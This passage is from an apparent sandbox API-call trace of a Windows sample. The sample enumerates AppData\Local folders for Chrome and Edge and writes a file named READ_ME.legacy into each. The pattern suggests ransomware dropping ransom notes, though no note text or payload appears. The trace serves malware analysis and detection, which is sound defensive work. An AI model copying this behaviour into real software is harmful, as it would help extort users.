[0135.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0135.900] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7e3bdb64, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xd6a876dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60be18 [0135.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9470 | out: hHeap=0x520000) returned 1 [0135.900] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0135.900] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0135.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0135.900] GetLastError () returned 0x0 [0135.900] SetLastError (dwErrCode=0x0) [0135.900] GetLastError () returned 0x0 [0135.900] SetLastError (dwErrCode=0x0) [0135.900] GetLastError () returned 0x0 [0135.900] SetLastError (dwErrCode=0x0) [0135.900] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0135.900] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d348 [0135.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0135.900] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d460 [0135.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60bf58 [0135.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bf58 | out: hHeap=0x520000) returned 1 [0135.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20348 [0135.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20348 | out: hHeap=0x520000) returned 1 [0135.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d460 | out: hHeap=0x520000) returned 1 [0135.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0135.901] FindNextFileW (in: hFindFile=0x60be18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7e3bdb64, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xd6a876dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0135.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0135.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0135.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0135.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0135.901] GetLastError () returned 0x0 [0135.901] SetLastError (dwErrCode=0x0) [0135.901] GetLastError () returned 0x0 [0135.901] SetLastError (dwErrCode=0x0) [0135.901] GetLastError () returned 0x0 [0135.901] SetLastError (dwErrCode=0x0) [0135.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0135.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d348 [0135.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0135.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0135.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60be98 [0135.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60be98 | out: hHeap=0x520000) returned 1 [0135.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0135.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0135.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0135.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0135.901] FindNextFileW (in: hFindFile=0x60be18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4aa60657, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Chrome", cAlternateFileName="")) returned 1 [0135.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0135.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0135.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0135.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0135.901] GetLastError () returned 0x0 [0135.902] SetLastError (dwErrCode=0x0) [0135.902] GetLastError () returned 0x0 [0135.902] SetLastError (dwErrCode=0x0) [0135.902] GetLastError () returned 0x0 [0135.902] SetLastError (dwErrCode=0x0) [0135.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0135.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d460 [0135.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0135.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0135.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0135.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0135.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0135.902] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0135.902] GetLastError () returned 0x0 [0135.902] SetLastError (dwErrCode=0x0) [0135.902] GetLastError () returned 0x0 [0135.902] SetLastError (dwErrCode=0x0) [0135.902] GetLastError () returned 0x0 [0135.902] SetLastError (dwErrCode=0x0) [0135.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0135.902] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x738 [0135.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0135.904] WriteFile (in: hFile=0x738, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0135.904] CloseHandle (hObject=0x738) returned 1 [0135.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0135.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0135.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0135.905] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0135.905] FindNextFileW (in: hFindFile=0x60be18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0135.905] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0135.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0135.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0135.905] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0135.905] GetLastError () returned 0x0 [0135.905] SetLastError (dwErrCode=0x0) [0135.905] GetLastError () returned 0x0 [0135.905] SetLastError (dwErrCode=0x0) [0135.905] GetLastError () returned 0x0 [0135.905] SetLastError (dwErrCode=0x0) [0135.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0135.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d488 [0135.905] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0135.905] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d488 | out: hHeap=0x520000) returned 1 [0135.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0135.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d488 [0135.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0135.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0135.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0135.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0135.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0135.905] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0135.905] GetLastError () returned 0x0 [0135.906] SetLastError (dwErrCode=0x0) [0135.906] GetLastError () returned 0x0 [0135.906] SetLastError (dwErrCode=0x0) [0135.906] GetLastError () returned 0x0 [0135.906] SetLastError (dwErrCode=0x0) [0135.906] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0135.906] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\CrashReports\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\crashreports\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x738 [0135.908] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0135.908] WriteFile (in: hFile=0x738, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0135.908] CloseHandle (hObject=0x738) returned 1 [0135.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0135.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0135.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0135.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0135.909] FindNextFileW (in: hFindFile=0x60be18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a876dc, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6a876dc, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6a876dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0135.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0135.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0135.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0135.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0135.909] GetLastError () returned 0x0 [0135.909] SetLastError (dwErrCode=0x0) [0135.909] GetLastError () returned 0x0 [0135.909] SetLastError (dwErrCode=0x0) [0135.909] GetLastError () returned 0x0 [0135.909] SetLastError (dwErrCode=0x0) [0135.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4d8 [0135.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4d8 | out: hHeap=0x520000) returned 1 [0135.909] FindNextFileW (in: hFindFile=0x60be18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a876dc, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6a876dc, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6a876dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0135.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d348 [0135.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0135.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0135.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d280 | out: hHeap=0x520000) returned 1 [0135.909] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\History\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a876dc, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6a876dc, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6a876dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0xffffffff [0135.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0135.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0135.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556c58 | out: hHeap=0x520000) returned 1 [0135.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2a8 | out: hHeap=0x520000) returned 1 [0135.910] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc895324f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6a876dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60bd98 [0135.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0135.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0135.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0135.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0135.910] GetLastError () returned 0x5 [0135.910] SetLastError (dwErrCode=0x5) [0135.910] GetLastError () returned 0x5 [0135.910] SetLastError (dwErrCode=0x5) [0135.910] GetLastError () returned 0x5 [0135.910] SetLastError (dwErrCode=0x5) [0135.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0135.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0135.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0135.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0135.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60bc58 [0135.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bc58 | out: hHeap=0x520000) returned 1 [0135.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0135.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0135.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0135.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0135.910] FindNextFileW (in: hFindFile=0x60bd98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc895324f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6a876dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0135.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0135.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0135.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0135.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0135.911] GetLastError () returned 0x5 [0135.911] SetLastError (dwErrCode=0x5) [0135.911] GetLastError () returned 0x5 [0135.911] SetLastError (dwErrCode=0x5) [0135.911] GetLastError () returned 0x5 [0135.911] SetLastError (dwErrCode=0x5) [0135.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0135.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d978 [0135.911] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0135.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d618 [0135.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c218 [0135.911] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c218 | out: hHeap=0x520000) returned 1 [0135.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201c8 [0135.911] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201c8 | out: hHeap=0x520000) returned 1 [0135.911] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d618 | out: hHeap=0x520000) returned 1 [0135.911] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0135.911] FindNextFileW (in: hFindFile=0x60bd98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a876dc, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6a876dc, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6aadc85, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0135.911] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0135.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0135.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0135.911] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0135.911] GetLastError () returned 0x5 [0135.911] SetLastError (dwErrCode=0x5) [0135.911] GetLastError () returned 0x5 [0135.911] SetLastError (dwErrCode=0x5) [0135.911] GetLastError () returned 0x5 [0135.911] SetLastError (dwErrCode=0x5) [0135.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4d8 [0135.911] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4d8 | out: hHeap=0x520000) returned 1 [0135.911] FindNextFileW (in: hFindFile=0x60bd98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92addfb1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SharedCacheContainers", cAlternateFileName="SHARED~1")) returned 1 [0135.911] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0135.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0135.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0135.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0135.912] GetLastError () returned 0x5 [0135.912] SetLastError (dwErrCode=0x5) [0135.912] GetLastError () returned 0x5 [0135.912] SetLastError (dwErrCode=0x5) [0135.912] GetLastError () returned 0x5 [0135.912] SetLastError (dwErrCode=0x5) [0135.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0135.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0135.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0135.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0135.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0135.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0135.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0135.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0135.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0135.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0135.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0135.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0135.912] GetLastError () returned 0x5 [0135.912] SetLastError (dwErrCode=0x5) [0135.912] GetLastError () returned 0x5 [0135.912] SetLastError (dwErrCode=0x5) [0135.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e87f0 [0135.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0135.912] GetLastError () returned 0x5 [0135.912] SetLastError (dwErrCode=0x5) [0135.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e79e0 [0135.912] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x73c [0135.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e79e0 | out: hHeap=0x520000) returned 1 [0135.914] WriteFile (in: hFile=0x73c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0135.915] CloseHandle (hObject=0x73c) returned 1 [0135.915] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87f0 | out: hHeap=0x520000) returned 1 [0135.915] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0135.915] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0135.915] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0135.915] FindNextFileW (in: hFindFile=0x60bd98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6771884, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd6771884, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="User", cAlternateFileName="")) returned 1 [0135.915] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0135.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, 